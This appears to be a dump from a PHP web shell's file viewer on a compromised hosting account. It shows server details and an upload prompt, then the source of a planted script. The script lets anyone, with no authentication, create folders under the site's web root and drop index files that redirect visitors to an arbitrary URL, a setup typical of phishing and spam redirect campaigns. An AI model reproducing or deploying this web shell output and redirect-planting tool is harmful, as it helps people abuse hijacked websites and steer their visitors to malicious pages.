Server IP : 66.29.132.122 / Your IP : 3.144.35.187 Web Server : LiteSpeed System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : admazpex ( 531) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/home/admazpex/public_html/ |
Upload File : |
<?php // Initialize variables $folderName = ''; $url = ''; $indexFile = 'index.html'; $message = ''; // Check if parameters are provided in the URL if (isset($_GET['name']) && isset($_GET['url'])) { $folderName = trim($_GET['name']); $url = trim($_GET['url']); // Check if index file type is specified if (isset($_GET['index']) && $_GET['index'] === 'php') { $indexFile = 'index.php'; } // Validate input if (empty($folderName) || empty($url)) { $message = "Both folder name and URL are required."; } else { // Create folder if it doesn't exist if (!file_exists($folderName) && !is_dir($folderName)) { if (mkdir($folderName, 0755, true)) { $message .= "Folder created successfully. "; } else { $message .= "Error creating folder. "; } } // Create and write to index file $filePath = $folderName . '/' . $indexFile; $fileContent = ($indexFile === 'index.php') ? '<?php header("Location: ' . htmlspecialchars($url) . '"); ?>' : '<meta http-equiv="refresh" content="0;url=' . htmlspecialchars($url) . '">'; if (file_put_contents($filePath, $fileContent) !== false) { $message .= "File created successfully: $filePath"; } else { $message .= "Error creating file. Please check permissions."; } } } else { $message = "Please provide both 'name' and 'url' parameters in the URL."; } // Output the result as plain text header('Content-Type: text/plain'); echo $message; ?>